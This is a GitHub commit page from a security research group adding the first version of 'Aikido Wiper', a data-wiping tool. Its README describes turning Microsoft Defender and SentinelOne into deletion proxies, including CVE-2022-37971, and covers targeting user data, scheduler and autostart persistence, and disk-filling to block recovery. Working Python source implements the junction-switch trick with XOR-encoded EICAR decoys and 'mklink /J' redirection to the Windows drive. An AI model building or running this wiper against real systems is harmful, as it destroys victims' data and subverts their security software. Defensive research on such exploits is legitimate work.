-
Notifications
You must be signed in to change notification settings - Fork 17
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #1 from SafeBreach-Labs/dev
Aikido Wiper first version
- Loading branch information
Showing
19 changed files
with
981 additions
and
3 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1,100 @@ | ||
# aikido_wiper | ||
# Aikido Wiper | ||
## Installation | ||
### Aikido Wiper Library | ||
```bash | ||
pip install <repo_path> | ||
``` | ||
or | ||
```bash | ||
python setup.py install | ||
``` | ||
|
||
### Aikido Wiper Tool | ||
Make sure you installed the Aikido Wiper Library and then run: | ||
```bash | ||
pyinstaller --onefile wiper_tool/wiper.py | ||
``` | ||
|
||
## General Description | ||
Aikido Wiper is a next-gen wiper that manipulates EDRs and anti viruses in order to delete files. | ||
## Usage | ||
The Aikido Wiper offers two options to begin with: | ||
```cmd | ||
cmd> .\wiper.exe -h | ||
usage: wiper.exe [-h] [-q] {PROXY_DELETION,ERASE_DISK_TRACES} ... | ||
Aikido Wiper - Next gen wiping | ||
optional arguments: | ||
-h, --help show this help message and exit | ||
-q, --quiet If specified, the wiper will run in the background | ||
mode: | ||
{PROXY_DELETION,ERASE_DISK_TRACES} | ||
``` | ||
* `PROXY_DELETION` - Specifies that you want to wipe something. | ||
* `ERASE_DISK_TRACES` - Specifies that the wiper should fill the free space on the disk completely with a huge file, delete the file, and repeat this process a few times. This option mainly exists for the wiper to be able to use this feature in order to make deleted files unrestorable after one of the exploits is exploited and a reboot occurs. | ||
|
||
If `PROXY_DELETION` is chosen then a few other options are available: | ||
```cmd | ||
cmd> .\wiper.exe PROXY_DELETION -h | ||
usage: wiper.exe PROXY_DELETION [-h] [-p {MicrosoftDefenderDeleteProxy,SentinelOneDeleteProxy}] | ||
[-etp {RIGHT_AFTER,TASK_SCHEDULER_REBOOT,AUTOSTART_REBOOT}] | ||
[--decoy-root-dir DECOY_ROOT_DIR] | ||
{ALL_USER_DATA,ALL_FILES_UNDER_PATH,CUSTOM_PATHS} ... | ||
optional arguments: | ||
-h, --help show this help message and exit | ||
-p {MicrosoftDefenderDeleteProxy,SentinelOneDeleteProxy}, --proxy {MicrosoftDefenderDeleteProxy,SentinelOneDeleteProxy} | ||
The proxy security control to use | ||
-etp {RIGHT_AFTER,TASK_SCHEDULER_REBOOT,AUTOSTART_REBOOT}, --erase-traces-point {RIGHT_AFTER,TASK_SCHEDULER_REBOOT,AUTOSTART_REBOOT} | ||
When to execute the part of the wiping that fills the disk to remove traces of deleted files | ||
--decoy-root-dir DECOY_ROOT_DIR | ||
The path in which all the decoys will be placed in case of a usage of a JunctionSwitchProxy | ||
deletion_target: | ||
{ALL_USER_DATA,ALL_FILES_UNDER_PATH,CUSTOM_PATHS} | ||
ALL_USER_DATA Try to delete the home directory of a certain user | ||
ALL_FILES_UNDER_PATH | ||
Try to delete all the files under the certain path | ||
CUSTOM_PATHS Try to delete custom paths | ||
``` | ||
The mandatory option to choose is the deletion target. | ||
* `ALL_USER_DATA` requires the name of the target user. example: | ||
```cmd | ||
cmd> .\wiper.exe PROXY_DELETION ALL_USER_DATA Admin | ||
``` | ||
* `ALL_FILES_UNDER_PATH` requires the path to the target directory. example: | ||
```cmd | ||
cmd> .\wiper.exe PROXY_DELETION ALL_FILES_UNDER_PATH C:\Users\Admin | ||
``` | ||
This option is not relevant to run against Windows Defender & Defender for Endpoint since the exploit for them does not support specific files deletion | ||
* `CUSTOM_PATHS` requires a path to a file that contains a list separated by line breaks and contains the paths to try to delete. The paths can be directories or files. example: | ||
```cmd | ||
cmd> .\wiper.exe PROXY_DELETION CUSTOM_PATHS .\custom_paths.txt | ||
``` | ||
The exploit for Windows Defender & Defender for Endpoint does not support specific files deletion. Therefore, the custom paths file can contain only paths to directories. | ||
|
||
### Default Behavior With Mandatory Arguments Only | ||
If you give the wiper only the mandatory arguments, which are the operation mode, probably `PROXY_DELETION`, along with the deletion target, then the default behavior will be as the following: | ||
* The wiper will create a decoy directory in the root path of the Windows drive of the computer. | ||
* The wiper will create the specially crafted paths inside the decoy directory and create the decoy files. | ||
* The wiper will keep open handles to the decoy files until the EDR or the AV is forced to give up on deleting them and instead marks them for deletion for after the next reboot. | ||
* The wiper will write a task to the task scheduler that will run the wiper in the `ERASE_DISK_TRACES` mode right after the reboot. | ||
* After the reboot the target files or directories will be deleted and the wiper will start the process of filling up the disk a few times. | ||
|
||
### Optional Behavior With Optional Arguments | ||
#### `-p` / `--proxy` | ||
Lets you choose the deletion proxy class to use. By default, the class is chosen according to the EDR / AV installed on the computer. | ||
* `MicrosoftDefenderDeleteProxy` - Exploits CVE-2022-37971. | ||
* `SentinelOneDeleteProxy` - Exploits <TBD> | ||
#### `-etp` / `--erase-traces-point` | ||
Lets you choose the point in time in which the erase disk traces trick should occur. In other words, the point in time when the wiper starts to fill up the disk to no space for a few times. | ||
* `RIGHT_AFTER` - Should occur right after the exploit is being exploited with no reboot (not relevant for `MicrosoftDefenderDeleteProxy` or `SentinelOneDeleteProxy` but maybe for future exploits) | ||
* `TASK_SCHEDULER_REBOOT` - The wiper should erase disk traces after reboot while using the task scheduler persistency method. | ||
* `AUTOSTART_REBOOT` - The wiper should erase disk traces after reboot while using the autostart directory persistency method. | ||
#### `--decoy-root-dir` | ||
The exploits require a creation of decoy malicious files in order to make the AV / EDR try to delete them and then right before the deletion turn the decoys' root directory into a junction point to the Windows drive. This parameter lets you choose where to create the root directory for the decoys which are used for the exploits against the EDRs / AVs. The default directory is a directory with a uuid name in the Windows drive. | ||
|
||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
progressbar2==4.0.0 | ||
pyinstaller==5.0 | ||
pywin32==304 | ||
WMI==1.5.1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
from setuptools import setup, find_packages | ||
|
||
with open("requirements.txt") as f: | ||
required = f.read().splitlines() | ||
setup( | ||
name="Aikido Wiper", | ||
version="1.0", | ||
package_dir={"": "src"}, # Optional | ||
packages=find_packages(where="src"), # Required | ||
install_requires=required) |
Empty file.
Empty file.
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
from abc import ABC, abstractmethod, ABCMeta | ||
from typing import Iterable | ||
|
||
|
||
class IDeleteProxy(ABC): | ||
""" | ||
A proxy for deleting a file or a directory on the computer without doing it directly. | ||
""" | ||
|
||
@abstractmethod | ||
def indirect_delete_paths(self, paths_to_delete: list[str]) -> set[str]: | ||
""" | ||
Using the proxy, trying to delete a list of given paths. | ||
:param paths_to_delete: The list of paths to try to delete | ||
:return: A set of paths that the proxy has failed to delete. | ||
""" | ||
raise NotImplementedError() | ||
|
169 changes: 169 additions & 0 deletions
169
src/aikido_wiper/indirect_ops/delete/junction_switch_proxy.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,169 @@ | ||
import os | ||
import tempfile | ||
import uuid | ||
import shutil | ||
import pathlib | ||
import progressbar | ||
from typing import Iterable | ||
from abc import abstractmethod | ||
|
||
from aikido_wiper.indirect_ops.delete.idelete_proxy import IDeleteProxy | ||
|
||
class DecoyPath(object): | ||
""" | ||
Represents a specially crafted path to a decoy file that is used in order to delete | ||
a target path with the JunctionSwitchDeleteProxy | ||
""" | ||
|
||
def __init__(self, decoy_dir, path_to_delete) -> None: | ||
""" | ||
Creates the decoy_path based on the target path to delete. | ||
:param decoy_dir: The parent folder for the decoy path. | ||
:param path_to_delete: The target file to delete with the decoy. | ||
""" | ||
self.path_to_delete = path_to_delete | ||
abs_path_to_delete = os.path.abspath(path_to_delete) | ||
drive, path_to_delete_without_drive = os.path.splitdrive(abs_path_to_delete) | ||
path_to_delete_without_drive = path_to_delete_without_drive[1:] | ||
|
||
self.decoy_dir = decoy_dir | ||
self.decoy_deepest_dir = os.path.join(self.decoy_dir, os.path.dirname(path_to_delete_without_drive)) | ||
self.decoy_file_path = os.path.join(self.decoy_deepest_dir, os.path.basename(path_to_delete)) | ||
|
||
try: | ||
os.makedirs(self.decoy_deepest_dir) | ||
except FileExistsError: | ||
pass | ||
|
||
|
||
class JunctionSwitchDeleteProxy(IDeleteProxy): | ||
""" | ||
A deletion proxy that sets a decoy for another running entity that has interest | ||
in deleting the decoy. Next, switches the root decoy path to a junction so the | ||
other running entity accidentally deletes the target path. | ||
""" | ||
|
||
# An EICAR file content XORed with 0x7F so it won't trigger an anti virus. | ||
ENCODED_EICAR = [ | ||
0x27, 0x4A, 0x30, 0x5E, 0x2F, 0x5A, 0x3F, 0x3E, 0x2F, 0x24, 0x4B, 0x23, 0x2F, 0x25, 0x27, 0x4A, | ||
0x4B, 0x57, 0x2F, 0x21, 0x56, 0x48, 0x3C, 0x3C, 0x56, 0x48, 0x02, 0x5B, 0x3A, 0x36, 0x3C, 0x3E, | ||
0x2D, 0x52, 0x2C, 0x2B, 0x3E, 0x31, 0x3B, 0x3E, 0x2D, 0x3B, 0x52, 0x3E, 0x31, 0x2B, 0x36, 0x29, | ||
0x36, 0x2D, 0x2A, 0x2C, 0x52, 0x2B, 0x3A, 0x2C, 0x2B, 0x52, 0x39, 0x36, 0x33, 0x3A, 0x5E, 0x5B, | ||
0x37, 0x54, 0x37, 0x55 | ||
] | ||
|
||
EICAR_XOR_DECODING_KEY = 0x7F | ||
|
||
def __init__(self, use_one_junction_dir: bool, decoy_dir_path: str = None) -> None: | ||
""" | ||
Creates a junction switch deletion proxy. | ||
:param use_one_junction_dir: If True, the proxy will create all the decoys under | ||
the same dir which will later be switched to be a junction. | ||
:param decoy_dir_path: Optional, The path that will contain the decoy paths with the | ||
decoys inside. It is recommended that the path to this directory will be as short | ||
as possible (for example: "C:\A"). Windows has a path length limit so this will | ||
help the proxy achieve better deletion results. If not given, the path will be | ||
a directory with a UUID name inside the windows drive. | ||
""" | ||
self._use_one_junction_dir = use_one_junction_dir | ||
self._windows_drive = pathlib.Path.home().drive + "\\" | ||
self._decoys_root_dir_path = decoy_dir_path | ||
if None == self._decoys_root_dir_path or "" == self._decoys_root_dir_path: | ||
self._decoys_root_dir_path = os.path.join(self._windows_drive, str(uuid.uuid4())) | ||
self._decoy_dir_count = 0 | ||
|
||
def indirect_delete_paths(self, paths_to_delete: list[str]) -> set[str]: | ||
""" | ||
Read parent class doc | ||
""" | ||
decoy_path_set = set() | ||
failed_targets = set() | ||
decoy_dir = self._decoys_root_dir_path | ||
|
||
# For each deletion target, create a decoy path and the decoy itself. | ||
# Also save the deletion targets that a decoy was not successfully created for. | ||
for path_to_delete in progressbar.progressbar(paths_to_delete): | ||
if not self._use_one_junction_dir: | ||
decoy_dir = os.path.join(self._decoys_root_dir_path, str(self._decoy_dir_count)) | ||
|
||
try: | ||
decoy_path = DecoyPath(decoy_dir, path_to_delete) | ||
self._create_decoy_file(decoy_path) | ||
except: | ||
failed_targets.add(path_to_delete) | ||
continue | ||
|
||
decoy_path_set.add(decoy_path) | ||
|
||
if len(failed_targets) == len(paths_to_delete): | ||
raise RuntimeError("Could not delete any of the targets") | ||
|
||
for decoy_path in decoy_path_set: | ||
self._before_junction_switch(decoy_path) | ||
|
||
if self._use_one_junction_dir: | ||
junction_switch_paths = {self._decoys_root_dir_path} | ||
else: | ||
junction_switch_paths = {decoy_path.decoy_dir for decoy_path in decoy_path_set} | ||
|
||
for junction_switch_path in junction_switch_paths: | ||
self._switch_to_junction(junction_switch_path) | ||
|
||
for decoy_path in decoy_path_set: | ||
self._after_junction_switch(decoy_path) | ||
|
||
return failed_targets | ||
|
||
def _switch_to_junction(self, link_path: str): | ||
""" | ||
Deletes a directory and whatever inside and then creates a junction with the same | ||
name that points to the Windows drive. | ||
:param link_path: The directory to delete. | ||
""" | ||
shutil.rmtree(link_path) | ||
os.system(f"mklink /J {link_path} {self._windows_drive} > nul 2>&1") | ||
|
||
def _get_decoded_eicar(self) -> bytearray: | ||
""" | ||
Retrieves the decoded EICAR file content from the encoded one. | ||
:return: EICAR file content | ||
""" | ||
decoded_eicar = bytearray() | ||
for byte in self.ENCODED_EICAR: | ||
decoded_eicar.append(byte ^ self.EICAR_XOR_DECODING_KEY) | ||
|
||
return decoded_eicar | ||
|
||
@abstractmethod | ||
def _create_decoy_file(self, decoy_path: DecoyPath) -> None: | ||
""" | ||
Creates the decoy file that should lead to the deletion of the target path to delete. | ||
:param decoy_path: The relevant decoy path. | ||
""" | ||
raise NotImplementedError() | ||
|
||
@abstractmethod | ||
def _before_junction_switch(self, decoy_path: DecoyPath) -> None: | ||
""" | ||
A callback which happens just before the junction switch for each target path | ||
to delete. | ||
:param decoy_path: The relevant decoy path. | ||
""" | ||
raise NotImplementedError() | ||
|
||
@abstractmethod | ||
def _after_junction_switch(self, decoy_path: DecoyPath) -> None: | ||
""" | ||
A callback which happens right after the junction switch for each target path | ||
to delete. | ||
:param decoy_path: The relevant decoy path | ||
""" | ||
raise NotImplementedError() | ||
|
Oops, something went wrong.